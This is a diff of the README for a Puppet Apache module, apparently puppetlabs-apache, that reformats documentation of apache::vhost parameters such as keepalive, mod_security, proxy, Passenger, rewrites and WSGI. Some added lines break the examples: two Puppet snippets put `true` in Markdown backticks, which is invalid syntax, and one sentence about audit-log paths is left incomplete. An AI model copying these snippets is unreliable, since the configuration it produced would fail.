context-sensitive configuration of output content filters. @@ -2386,21 +3180,49 @@ apache::vhost { "$::fqdn": Sets the [`ForceType`][] directive, which forces Apache to serve all matching files with a [MIME `content-type`][] matching this parameter's value. +#### `add_charset` + +Lets Apache set custom content character sets per directory and/or file extension + ##### `headers` -Adds lines to replace, merge, or remove response headers. See [Apache's mod_headers documentation](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) for more information. Valid options: A string, an array of strings, or undef. Default: undef. +Adds lines to replace, merge, or remove response headers. See [Apache's mod_headers documentation](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) for more information. + +Values: A string or an array of strings. + +Default: `undef`. ##### `ip` -Sets the IP address the virtual host listens on. Valid options: Strings. Default: undef, which uses Apache's default behavior of listening on all IPs. +Sets the IP address the virtual host listens on. By default, uses Apache's default behavior of listening on all IPs. + +Values: A string or an array of strings. + +Default: `undef`. ##### `ip_based` -Enables an [IP-based](https://httpd.apache.org/docs/current/vhosts/ip-based.html) virtual host. This parameter inhibits the creation of a NameVirtualHost directive, since those are used to funnel requests to name-based virtual hosts. Default: false. +Enables an [IP-based](https://httpd.apache.org/docs/current/vhosts/ip-based.html) virtual host. This parameter inhibits the creation of a NameVirtualHost directive, since those are used to funnel requests to name-based virtual hosts. + +Default: `false`. ##### `itk` -Configures [ITK](http://mpm-itk.sesse.net/) in a hash. Keys can be: +Configures [ITK](http://mpm-itk.sesse.net/) in a hash. + +Usage typically looks something like: + +``` puppet +apache::vhost { 'sample.example.net': + docroot => '/path/to/directory', + itk => { + user => 'someuser', + group => 'somegroup', + }, +} +``` + +Values: a hash, which can include the keys: * user + group * `assignuseridexpr` @@ -2422,9 +3244,11 @@ apache::vhost { 'sample.example.net': } ``` +Default: `undef`. + ##### `jk_mounts` -Sets up a virtual host with 'JkMount' and 'JkUnMount' directives to handle the paths for URL mapping between Tomcat and Apache. Default: undef. +Sets up a virtual host with 'JkMount' and 'JkUnMount' directives to handle the paths for URL mapping between Tomcat and Apache. The parameter must be an array of hashes where each hash must contain the 'worker' and either the 'mount' or 'unmount' keys. @@ -2438,34 +3262,43 @@ apache::vhost { 'sample.example.net': ], } ``` - +Default: `undef`. + ##### `keepalive` -Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive for the virtual host. Valid options: 'Off', 'On' and `undef`. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect. +Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive for the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect. Use the `keepalive_timeout` and `max_keepalive_requests` parameters to set relevant options for the virtual host. +Values: 'Off', 'On'. + +Default: `undef` + ##### `keepalive_timeout` -Sets the [`KeepAliveTimeout`] directive for the virtual host, which determines the amount of time to wait for subsequent requests on a persistent HTTP connection. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect. +Sets the [`KeepAliveTimeout`] directive for the virtual host, which determines the amount of time to wait for subsequent requests on a persistent HTTP connection. By default, the global, server-wide [`KeepAlive`][] setting is in effect. This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled. +Default: `undef` + ##### `max_keepalive_requests` -Limits the number of requests allowed per connection to the virtual host. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect. +Limits the number of requests allowed per connection to the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect. This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled. +Default: `undef`. + ##### `auth_kerb` -Enable [`mod_auth_kerb`][] parameters for a virtual host. Valid options: Boolean. Default: false. +Enable [`mod_auth_kerb`][] parameters for a virtual host. Usage typically looks like: ``` puppet apache::vhost { 'sample.example.net': - auth_kerb => true, + auth_kerb => `true`, krb_method_negotiate => 'on', krb_auth_realms => ['EXAMPLE.ORG'], krb_local_user_mapping => 'on', @@ -2484,56 +3317,88 @@ Related parameters follow the names of `mod_auth_kerb` directives: - `krb_method_k5passwd`: Determines whether to use password-based authentication for Kerberos v5. Default: 'on'. - `krb_authoritative`: If set to 'off', authentication controls can be passed on to another module. Default: 'on'. - `krb_auth_realms`: Specifies an array of Kerberos realms to use for authentication. Default: '[]'. -- `krb_5keytab`: Specifies the Kerberos v5 keytab file's location. Default: undef. -- `krb_local_user_mapping`: Strips @REALM from usernames for further use. Default: undef. +- `krb_5keytab`: Specifies the Kerberos v5 keytab file's location. Default: `undef`. +- `krb_local_user_mapping`: Strips @REALM from usernames for further use. Default: `undef`. + +Boolean. Default: `false`. ##### `krb_verify_kdc` -This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing attacks. Default: 'on'. +This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing attacks. + +Default: 'on'. ##### `krb_servicename` -Specifies the service name that will be used by Apache for authentication. Corresponding key of this name must be stored in the keytab. Default: 'HTTP'. +Specifies the service name that will be used by Apache for authentication. Corresponding key of this name must be stored in the keytab. + +Default: 'HTTP'. ##### `krb_save_credentials` -This option enables credential saving functionality. Default is 'off' +This option enables credential saving functionality. + +Default is 'off' ##### `logroot` -Specifies the location of the virtual host's logfiles. Default: '/var/log//'. +Specifies the location of the virtual host's logfiles. + +Default: '/var/log//'. ##### `$logroot_ensure` -Determines whether or not to remove the logroot directory for a virtual host. Valid options: 'directory', 'absent'. +Determines whether or not to remove the logroot directory for a virtual host. + +Values: 'directory', 'absent'. + +Default: 'directory'. ##### `logroot_mode` -Overrides the mode the logroot directory is set to. Default: undef. Do *not* grant write access to the directory the logs are stored in without being aware of the consequences; for more information, see [Apache's log security documentation](https://httpd.apache.org/docs/2.4/logs.html#security). +Overrides the mode the logroot directory is set to. Do *not* grant write access to the directory the logs are stored in without being aware of the consequences; for more information, see [Apache's log security documentation](https://httpd.apache.org/docs/2.4/logs.html#security). + +Default: `undef`. ##### `logroot_owner` -Sets individual user access to the logroot directory. Defaults to 'undef'. +Sets individual user access to the logroot directory. + +Defaults to `undef`. ##### `logroot_group` -Sets group access to the [`logroot`][] directory. Defaults to 'undef'. +Sets group access to the [`logroot`][] directory. + +Defaults to `undef`. ##### `log_level` -Specifies the verbosity of the error log. Valid options: 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info' or 'debug'. Default: 'warn' for the global server configuration, which can be overridden on a per-virtual host basis. +Specifies the verbosity of the error log. + +Values: 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info' or 'debug'. + +Default: 'warn' for the global server configuration. Can be overridden on a per-virtual host basis. ###### `modsec_body_limit` -Configures the maximum request body size (in bytes) ModSecurity will accept for buffering +Configures the maximum request body size (in bytes) ModSecurity accepts for buffering. + +Values: An integer. + +Default: `undef`. ###### `modsec_disable_vhost` -Disables [`mod_security`][] on a virtual host. Only valid if [`apache::mod::security`][] is included. Valid options: Boolean. Default: undef. +Disables [`mod_security`][] on a virtual host. Only valid if [`apache::mod::security`][] is included. + +Boolean. Default: `undef`. ###### `modsec_disable_ids` -Array of mod_security IDs to remove from the virtual host. Also takes a hash allowing removal of an ID from a specific location. +Removes `mod_security` IDs from the virtual host. + +Values: An array of `mod_security` IDs to remove from the virtual host. Also takes a hash allowing removal of an ID from a specific location. ``` puppet apache::vhost { 'sample.example.net': @@ -2547,13 +3412,17 @@ apache::vhost { 'sample.example.net': } ``` +Default: `undef`. + ###### `modsec_disable_ips` -Specifies an array of IP addresses to exclude from [`mod_security`][] rule matching. Default: undef. +Specifies an array of IP addresses to exclude from [`mod_security`][] rule matching. + +Default: `undef`. ###### `modsec_disable_msgs` -Array of mod_security Msgs to remove from the virtual host. Also takes a hash allowing removal of an Msg from a specific location. Default: undef. +Array of mod_security Msgs to remove from the virtual host. Also takes a hash allowing removal of an Msg from a specific location. ``` puppet apache::vhost { 'sample.example.net': @@ -2567,9 +3436,11 @@ apache::vhost { 'sample.example.net': } ``` +Default: `undef`. + ###### `modsec_disable_tags` -Array of mod_security Tags to remove from the virtual host. Also takes a hash allowing removal of an Tag from a specific location. Default: undef. +Array of mod_security Tags to remove from the virtual host. Also takes a hash allowing removal of an Tag from a specific location. ``` puppet apache::vhost { 'sample.example.net': @@ -2583,45 +3454,67 @@ apache::vhost { 'sample.example.net': } ``` -##### `modsec_audit_log` & `modsec_audit_log_file` & `modsec_audit_log_pipe` +Default: `undef`. -Determines how to send mod_security audit log ([SecAuditLog](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#SecAuditLog)). +##### `modsec_audit*` -If `modsec_audit_log_file` is set, it is relative to [`logroot`][]. Default: undef. +* `modsec_audit_log` +* `modsec_audit_log_file` +* `modsec_audit_log_pipe` -If `modsec_audit_log_pipe` is set, it should start with a pipe. Example '|/path/to/mlogc /path/to/mlogc.conf'. Default: undef. +These three parameters together determine how to send `mod_security` audit log ([SecAuditLog](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#SecAuditLog)). -If `modsec_audit_log` is true, given a virtual host---for instance, example.com---it defaults to 'example.com\_security\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_security.log' for unencrypted virtual hosts. Default: false. +* If `modsec_audit_log_file` is set, it is relative to [`logroot`][]. -When none of those parameters is set, the global audit log is used (i.e. ''/var/log/apache2/modsec\_audit.log'' on Debian and derivatives, ''/var/log/httpd/modsec\_audit.log'' on others). + Default: `undef`. + +* If `modsec_audit_log_pipe` is set, it should start with a pipe. Example '|/path/to/mlogc /path/to/mlogc.conf'. + + Default: `undef`. + +* If `modsec_audit_log` is `true`, given a virtual host---for instance, example.com---it defaults to 'example.com\_security\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_security.log' for unencrypted virtual hosts. + + Default: `false`. + +If none of those parameters are set, the global audit log is used (''/var/log/httpd/modsec\_audit.log''; Debian and derivatives: ''/var/log/apache2/modsec\_audit.log''; others: ). ##### `no_proxy_uris` Specifies URLs you do not want to proxy. This parameter is meant to be used in combination with [`proxy_dest`](#proxy_dest). +Default: []. + ##### `no_proxy_uris_match` This directive is equivalent to [`no_proxy_uris`][], but takes regular expressions. +Default: []. + ##### `proxy_preserve_host` -Sets the [ProxyPreserveHost Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypreservehost). Valid options: Boolean. Default: false. +Sets the [ProxyPreserveHost Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypreservehost). -Setting this parameter to true enables the `Host:` line from an incoming request to be proxied to the host instead of hostname. Setting it to false sets this directive to 'Off'. +Setting this parameter to `true` enables the `Host:` line from an incoming request to be proxied to the host instead of hostname. Setting it to `false` sets this directive to 'Off'. + +Boolean. Default: `false`. ##### `proxy_add_headers` -Sets the [ProxyAddHeaders Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyaddheaders). Valid Options: Boolean. Default: false. +Sets the [ProxyAddHeaders Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyaddheaders). This parameter controlls whether proxy-related HTTP headers (X-Forwarded-For, X-Forwarded-Host and X-Forwarded-Server) get sent to the backend server. +Boolean. Default: `false`. + ##### `proxy_error_override` -Sets the [ProxyErrorOverride Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyerroroverride). This directive controls whether Apache should override error pages for proxied content. Default: false. +Sets the [ProxyErrorOverride Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyerroroverride). This directive controls whether Apache should override error pages for proxied content. + +Boolean. Default: `false`. ##### `options` -Sets the [`Options`][] for the specified virtual host. Default: ['Indexes','FollowSymLinks','MultiViews'], as demonstrated below: +Sets the [`Options`][] for the specified virtual host. For example: ``` puppet apache::vhost { 'site.name.fdqn': @@ -2632,38 +3525,65 @@ apache::vhost { 'site.name.fdqn': > **Note**: If you use the [`directories`][] parameter of [`apache::vhost`][], 'Options', 'Override', and 'DirectoryIndex' are ignored because they are parameters within `directories`. +Default: ['Indexes','FollowSymLinks','MultiViews'], + ##### `override` -Sets the overrides for the specified virtual host. Accepts an array of [AllowOverride](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) arguments. Default: '[none]'. +Sets the overrides for the specified virtual host. Accepts an array of [AllowOverride](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) arguments. + +Default: '[none]'. ##### `passenger_app_root` Sets [PassengerRoot](https://www.phusionpassenger.com/library/config/apache/reference/#passengerapproot), the location of the Passenger application root if different from the DocumentRoot. +Values: A string specifying a path. + +Default: `undef`. + ##### `passenger_app_env` -Sets [PassengerAppEnv](https://www.phusionpassenger.com/library/config/apache/reference/#passengerappenv), the environment for the Passenger application. If not specifies, defaults to the global setting or 'production'. +Sets [PassengerAppEnv](https://www.phusionpassenger.com/library/config/apache/reference/#passengerappenv), the environment for the Passenger application. If not specified, defaults to the global setting or 'production'. + +Values: A string specifying the name of the environment. + +Default: `undef`. ##### `passenger_log_file` By default, Passenger log messages are written to the Apache global error log. With [PassengerLogFile](https://www.phusionpassenger.com/library/config/apache/reference/#passengerlogfile), you can configure those messages to be logged to a different file. This option is only available since Passenger 5.0.5. +Values: A string specifying a path. + +Default: `undef`. + ##### `passenger_log_level` -This option allows to specify how much information should be written to the log file. If not set, [PassengerLogLevel](https://www.phusionpassenger.com/library/config/apache/reference/#passengerloglevel) will not show up in the configuration file and the defaults are used. For Passenger > 3.0.0 the default is '0', since 5.0.0 it's '3'. +This option allows to specify how much information should be written to the log file. If not set, [PassengerLogLevel](https://www.phusionpassenger.com/library/config/apache/reference/#passengerloglevel) will not show up in the configuration file and the defaults are used. + +Default: Passenger versions less than 3.0.0: '0'; 5.0.0 and later: '3'. ##### `passenger_ruby` Sets [PassengerRuby](https://www.phusionpassenger.com/library/config/apache/reference/#passengerruby), the Ruby interpreter to use for the application, on this virtual host. +Default: `undef`. + ##### `passenger_min_instances` Sets [PassengerMinInstances](https://www.phusionpassenger.com/library/config/apache/reference/#passengermininstances), the minimum number of application processes to run. +##### `passenger_max_requests` + +Sets [PassengerMaxRequests](https://www.phusionpassenger.com/library/config/apache/reference/#pas +sengermaxrequests), the maximum number of requests an application process will process. + ##### `passenger_max_instances_per_app` Sets [PassengerMaxInstancesPerApp](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxinstancesperapp), the maximum number of application processes that may simultaneously exist for a single application. +Default: `undef`. + ##### `passenger_start_timeout` Sets [PassengerStartTimeout](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstarttimeout), the timeout for the application startup. @@ -2678,7 +3598,7 @@ Sets [PassengerUser](https://www.phusionpassenger.com/library/config/apache/refe ##### `passenger_high_performance` -Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance) parameter. Valid options: 'true', 'false'. Default: undef. +Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance) parameter. Values: `true`, `false`. Default: `undef`. ##### `passenger_nodejs` @@ -2686,7 +3606,9 @@ Sets the [`PassengerNodejs`](https://www.phusionpassenger.com/library/config/apa ##### `passenger_sticky_sessions` -Sets the [`PassengerStickySessions`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstickysessions) parameter. Valid options: 'true', 'false'. Default: undef. +Sets the [`PassengerStickySessions`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerstickysessions) parameter. + +Boolean. Default: `undef`. ##### `passenger_startup_file` @@ -2694,11 +3616,15 @@ Sets the [`PassengerStartupFile`](https://www.phusionpassenger.com/library/confi ##### `php_flags & values` -Allows per-virtual host setting [`php_value`s or `php_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values can be overwritten by a user or an application. Default: '{}'. +Allows per-virtual host setting [`php_value`s or `php_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values can be overwritten by a user or an application. + +Default: '{}'. ##### `php_admin_flags & values` -Allows per-virtual host setting [`php_admin_value`s or `php_admin_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values cannot be overwritten by a user or an application. Default: '{}'. +Allows per-virtual host setting [`php_admin_value`s or `php_admin_flag`s](http://php.net/manual/en/configuration.changes.php). These flags or values cannot be overwritten by a user or an application. + +Default: '{}'. ##### `port` @@ -2706,21 +3632,27 @@ Sets the port the host is configured on. The module's defaults ensure the host l ##### `priority` -Sets the relative load-order for Apache HTTPD VirtualHost configuration files. Default: '25'. +Sets the relative load-order for Apache HTTPD VirtualHost configuration files. If nothing matches the priority, the first name-based virtual host is used. Likewise, passing a higher priority causes the alphabetically first name-based virtual host to be used if no other names match. > **Note:** You should not need to use this parameter. However, if you do use it, be aware that the `default_vhost` parameter for `apache::vhost` passes a priority of '15'. -To omit the priority prefix in file names, pass a priority of false. +To omit the priority prefix in file names, pass a priority of `false`. + +Default: '25'. ##### `proxy_dest` -Specifies the destination address of a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Default: undef. +Specifies the destination address of a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. + +Default: `undef`. ##### `proxy_pass` -Specifies an array of `path => URI` values for a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Defaults to 'undef'. Optionally parameters can be added as an array. +Specifies an array of `path => URI` values for a [ProxyPass](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass) configuration. Optionally, parameters can be added as an array. + +Default: `undef`. ``` puppet apache::vhost { 'site.name.fdqn': @@ -2745,10 +3677,10 @@ apache::vhost { 'site.name.fdqn': } ``` -* `reverse_urls`. *Optional.* This setting is useful when used with `mod_proxy_balancer`. Valid options: an array or string. +* `reverse_urls`. *Optional.* This setting is useful when used with `mod_proxy_balancer`. Values: an array or string. * `reverse_cookies`. *Optional.* Sets `ProxyPassReverseCookiePath` and `ProxyPassReverseCookieDomain`. * `params`. *Optional.* Allows for ProxyPass key-value parameters, such as connection settings. -* `setenv`. *Optional.* Sets [environment variables](https://httpd.apache.org/docs/current/mod/mod_proxy.html#envsettings) for the proxy directive. Valid options: array. +* `setenv`. *Optional.* Sets [environment variables](https://httpd.apache.org/docs/current/mod/mod_proxy.html#envsettings) for the proxy directive. Values: array. ##### `proxy_dest_match` @@ -2764,15 +3696,21 @@ This directive is equivalent to [`proxy_pass`][], but takes regular expressions, ##### `rack_base_uris` -Specifies the resource identifiers for a rack configuration. The file paths specified are listed as rack application roots for [Phusion Passenger](http://www.modrails.com/documentation/Users%20guide%20Apache.html#_railsbaseuri_and_rackbaseuri) in the _rack.erb template. Default: undef. +Specifies the resource identifiers for a rack configuration. The file paths specified are listed as rack application roots for [Phusion Passenger](http://www.modrails.com/documentation/Users%20guide%20Apache.html#_railsbaseuri_and_rackbaseuri) in the _rack.erb template. + +Default: `undef`. #####`passenger_base_uris` -Used to specify that the given URI is a Phusion Passenger-served application. The file paths specified are listed as passenger application roots for [Phusion Passenger](https://www.phusionpassenger.com/documentation/Users%20guide%20Apache.html#PassengerBaseURI) in the _passenger_base_uris.erb template. Default: undef. +Used to specify that the given URI is a Phusion Passenger-served application. The file paths specified are listed as passenger application roots for [Phusion Passenger](https://www.phusionpassenger.com/documentation/Users%20guide%20Apache.html#PassengerBaseURI) in the _passenger_base_uris.erb template. + +Default: `undef`. ##### `redirect_dest` -Specifies the address to redirect to. Default: undef. +Specifies the address to redirect to. + +Default: `undef`. ##### `redirect_source` @@ -2788,7 +3726,9 @@ apache::vhost { 'site.name.fdqn': ##### `redirect_status` -Specifies the status to append to the redirect. Default: undef. +Specifies the status to append to the redirect. + +Default: `undef`. ``` puppet apache::vhost { 'site.name.fdqn': @@ -2797,9 +3737,15 @@ apache::vhost { 'site.name.fdqn': } ``` -##### `redirectmatch_regexp` & `redirectmatch_status` & `redirectmatch_dest` +##### `redirectmatch_*` -Determines which server status should be raised for a given regular expression and where to forward the user to. Entered as arrays. Default: undef. +* `redirectmatch_regexp` +* `redirectmatch_status` +* `redirectmatch_dest` + +Determines which server status should be raised for a given regular expression and where to forward the user to. Entered as arrays. + +Default: `undef`. ``` puppet apache::vhost { 'site.name.fdqn': @@ -2812,7 +3758,9 @@ apache::vhost { 'site.name.fdqn': ##### `request_headers` -Modifies collected [request headers](https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader) in various ways, including adding additional request headers, removing request headers, etc. Default: undef. +Modifies collected [request headers](https://httpd.apache.org/docs/current/mod/mod_headers.html#requestheader) in various ways, including adding additional request headers, removing request headers, and so on. + +Default: `undef`. ``` puppet apache::vhost { 'site.name.fdqn': @@ -2823,9 +3771,14 @@ apache::vhost { 'site.name.fdqn': ], } ``` + ##### `rewrites` -Creates URL rewrite rules. Expects an array of hashes, and the hash keys can be any of 'comment', 'rewrite_base', 'rewrite_cond', 'rewrite_rule' or 'rewrite_map'. Default: undef. +Creates URL rewrite rules. Expects an array of hashes. + +Values: Hash keys that are any of 'comment', 'rewrite_base', 'rewrite_cond', 'rewrite_rule' or 'rewrite_map'. + +Default: `undef`. For example, you can specify that anyone trying to access index.html is served welcome.html @@ -2836,7 +3789,7 @@ apache::vhost { 'site.name.fdqn': } ``` -The parameter allows rewrite conditions that, when true, execute the associated rule. For instance, if you wanted to rewrite URLs only if the visitor is using IE +The parameter allows rewrite conditions that, when `true`, execute the associated rule. For instance, if you wanted to rewrite URLs only if the visitor is using IE ``` puppet apache::vhost { 'site.name.fdqn': @@ -2899,7 +3852,9 @@ Refer to the [`mod_rewrite` documentation][`mod_rewrite`] for more details on wh ##### `rewrite_inherit` -Determines whether the virtual host inherits global rewrite rules. Default: false. +Determines whether the virtual host inherits global rewrite rules. + +Default: `false`. Rewrite rules may be specified globally (in `$conf_file` or `$confd_dir`) or inside the virtual host `.conf` file. By default, virtual hosts do not inherit global settings. To activate inheritance, specify the `rewrites` parameter and set `rewrite_inherit` parameter to `true`: @@ -2909,14 +3864,12 @@ apache::vhost { 'site.name.fdqn': rewrites => [ , ], - rewrite_inherit => true, + rewrite_inherit => `true`, } ``` > **Note**: The `rewrites` parameter is **required** for this to have effect -###### Some background - Apache activates global `Rewrite` rules inheritance if the virtual host files contains the following directives: ``` ApacheConf @@ -2928,7 +3881,9 @@ Refer to the [official `mod_rewrite` documentation](https://httpd.apache.org/doc ##### `scriptalias` -Defines a directory of CGI scripts to be aliased to the path '/cgi-bin', such as '/usr/scripts'. Default: undef. +Defines a directory of CGI scripts to be aliased to the path '/cgi-bin', such as '/usr/scripts'. + +Default: `undef`. ##### `scriptaliases` @@ -2961,19 +3916,27 @@ The ScriptAlias and ScriptAliasMatch directives are created in the order specifi ##### `serveradmin` -Specifies the email address Apache displays when it renders one of its error pages. Default: undef. +Specifies the email address Apache displays when it renders one of its error pages. + +Default: `undef`. ##### `serveraliases` -Sets the [ServerAliases](https://httpd.apache.org/docs/current/mod/core.html#serveralias) of the site. Default: '[]'. +Sets the [ServerAliases](https://httpd.apache.org/docs/current/mod/core.html#serveralias) of the site. + +Default: '[]'. ##### `servername` -Sets the servername corresponding to the hostname you connect to the virtual host at. Default: the title of the resource. +Sets the servername corresponding to the hostname you connect to the virtual host at. + +Default: the title of the resource. ##### `setenv` -Used by HTTPD to set environment variables for virtual hosts. Default: '[]'. +Used by HTTPD to set environment variables for virtual hosts. + +Default: '[]'. Example: @@ -2985,19 +3948,27 @@ apache::vhost { 'setenv.example.com': ##### `setenvif` -Used by HTTPD to conditionally set environment variables for virtual hosts. Default: '[]'. +Used by HTTPD to conditionally set environment variables for virtual hosts. + +Default: '[]'. ##### `setenvifnocase` -Used by HTTPD to conditionally set environment variables for virtual hosts (caseless matching). Default: '[]'. +Used by HTTPD to conditionally set environment variables for virtual hosts (caseless matching). -##### `suphp_addhandler`, `suphp_configpath`, & `suphp_engine` +Default: '[]'. + +##### `suphp_*` + +* `suphp_addhandler` +* `suphp_configpath` +* `suphp_engine` Sets up a virtual host with [suPHP](http://suphp.org/DocumentationView.html?file=apache/CONFIG). * `suphp_addhandler`. Default: 'php5-script' on RedHat and FreeBSD, and 'x-httpd-php' on Debian and Gentoo. -* `suphp_configpath`. Default: undef on RedHat and FreeBSD, and '/etc/php5/apache2' on Debian and Gentoo. -* `suphp_engine`. Valid options: 'on' or 'off'. Default: 'off'. +* `suphp_configpath`. Default: `undef` on RedHat and FreeBSD, and '/etc/php5/apache2' on Debian and Gentoo. +* `suphp_engine`. Values: 'on' or 'off'. Default: 'off'. An example virtual host configuration with suPHP: @@ -3016,11 +3987,15 @@ apache::vhost { 'suphp.example.com': ##### `vhost_name` -Enables name-based virtual hosting. If no IP is passed to the virtual host, but the virtual host is assigned a port, then the virtual host name is 'vhost_name:port'. If the virtual host has no assigned IP or port, the virtual host name is set to the title of the resource. Default: '*'. +Enables name-based virtual hosting. If no IP is passed to the virtual host, but the virtual host is assigned a port, then the virtual host name is 'vhost_name:port'. If the virtual host has no assigned IP or port, the virtual host name is set to the title of the resource. + +Default: '*'. ##### `virtual_docroot` -Sets up a virtual host with a wildcard alias subdomain mapped to a directory with the same name. For example, 'http://example.com' would map to '/var/www/example.com'. Default: false. +Sets up a virtual host with a wildcard alias subdomain mapped to a directory with the same name. For example, 'http://example.com' would map to '/var/www/example.com'. + +Default: `false`. ``` puppet apache::vhost { 'subdomain.loc': @@ -3032,17 +4007,23 @@ apache::vhost { 'subdomain.loc': } ``` -##### `wsgi_daemon_process`, `wsgi_daemon_process_options`, `wsgi_process_group`, `wsgi_script_aliases`, & `wsgi_pass_authorization` +##### `wsgi*` + +* `wsgi_daemon_process` +* `wsgi_daemon_process_options` +* `wsgi_process_group` +* `wsgi_script_aliases` +* `wsgi_pass_authorization` Sets up a virtual host with [WSGI](https://github.com/GrahamDumpleton/mod_wsgi). -* `wsgi_daemon_process`: A hash that sets the name of the WSGI daemon, accepting [certain keys](http://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIDaemonProcess.html). Default: undef. -* `wsgi_daemon_process_options`. _Optional._ Default: undef. -* `wsgi_process_group`: Sets the group ID that the virtual host runs under. Default: undef. -* `wsgi_script_aliases`: Requires a hash of web paths to filesystem .wsgi paths. Default: undef. -* `wsgi_script_aliases_match`: Requires a hash of web path regexes to filesystem .wsgi paths. Default: undef -* `wsgi_pass_authorization`: Uses the WSGI application to handle authorization instead of Apache when set to 'On'. For more information, see [mod_wsgi's WSGIPassAuthorization documentation] (https://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIPassAuthorization.html). Default: undef, leading Apache to use its default value of 'Off'. -* `wsgi_chunked_request`: Enables support for chunked requests. Default: undef. +* `wsgi_daemon_process`: A hash that sets the name of the WSGI daemon, accepting [certain keys](http://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIDaemonProcess.html). Default: `undef`. +* `wsgi_daemon_process_options`. _Optional._ Default: `undef`. +* `wsgi_process_group`: Sets the group ID that the virtual host runs under. Default: `undef`. +* `wsgi_script_aliases`: Requires a hash of web paths to filesystem .wsgi paths. Default: `undef`. +* `wsgi_script_aliases_match`: Requires a hash of web path regexes to filesystem .wsgi paths. Default: `undef` +* `wsgi_pass_authorization`: Uses the WSGI application to handle authorization instead of Apache when set to 'On'. For more information, see [mod_wsgi's WSGIPassAuthorization documentation] (https://modwsgi.readthedocs.org/en/latest/configuration-directives/WSGIPassAuthorization.html). Default: `undef`, leading Apache to use its default value of 'Off'. +* `wsgi_chunked_request`: Enables support for chunked requests. Default: `undef`. An example virtual host configuration with WSGI: @@ -3068,7 +4049,7 @@ The `directories` parameter within the `apache::vhost` class passes an array of The `path` key sets the path for the directory, files, and location blocks. Its value must be a path for the 'directory', 'files', and 'location' providers, or a regex for the 'directorymatch', 'filesmatch', or 'locationmatch' providers. Each hash passed to `directories` **must** contain `path` as one of the keys. -The `provider` key is optional. If missing, this key defaults to 'directory'. Valid options: 'directory', 'files', 'proxy', 'location', 'directorymatch', 'filesmatch', 'proxymatch' or 'locationmatch'. If you set `provider` to 'directorymatch', it uses the keyword 'DirectoryMatch' in the Apache config file. +The `provider` key is optional. If missing, this key defaults to 'directory'. Values: 'directory', 'files', 'proxy', 'location', 'directorymatch', 'filesmatch', 'proxymatch' or 'locationmatch'. If you set `provider` to 'directorymatch', it uses the keyword 'DirectoryMatch' in the Apache config file. An example use of `directories`: @@ -3097,7 +4078,7 @@ apache::vhost { 'sample.example.net': Any handlers you do not set in these hashes are considered 'undefined' within Puppet and are not added to the virtual host, resulting in the module using their default values. Supported handlers are: -###### `addhandlers` +##### `addhandlers` Sets [AddHandler](https://httpd.apache.org/docs/current/mod/mod_mime.html#addhandler) directives, which map filename extensions to the specified handler. Accepts a list of hashes, with `extensions` serving to list the extensions being managed by the handler, and takes the form: `{ handler => 'handler-name', extensions => ['extension'] }`. @@ -3114,7 +4095,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `allow` +##### `allow` Sets an [Allow](https://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#allow) directive, which groups authorizations based on hostnames or IPs. **Deprecated:** This parameter is being deprecated due to a change in Apache. It only works with Apache 2.2 and lower. You can use it as a single string for one rule or as an array for more than one. @@ -3129,7 +4110,7 @@ apache::vhost { 'sample.example.net': } ``` -###### `allow_override` +##### `allow_override` Sets the types of directives allowed in [.htaccess](https://httpd.apache.org/docs/current/mod/core.html#allowoverride) files. Accepts an array. @@ -3144,19 +4125,19 @@ apache::vhost { 'sample.example.net': } ``` -###### `auth_basic_authoritative` +##### `auth_basic_authoritative` Sets the value for [AuthBasicAuthoritative](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicauthoritative), which determines whether authorization and authentication are passed to lower level Apache modules. -###### `auth_basic_fake` +##### `auth_basic_fake` Sets the value for [AuthBasicFake](https://httpd.apache.org/docs/current/mod/mod_auth_basic.html#authbasicfake), which statically configures authorization credentials for a given directive block. -###### `auth_basic_provider` +##### `auth_basic_provider` Sets the value for 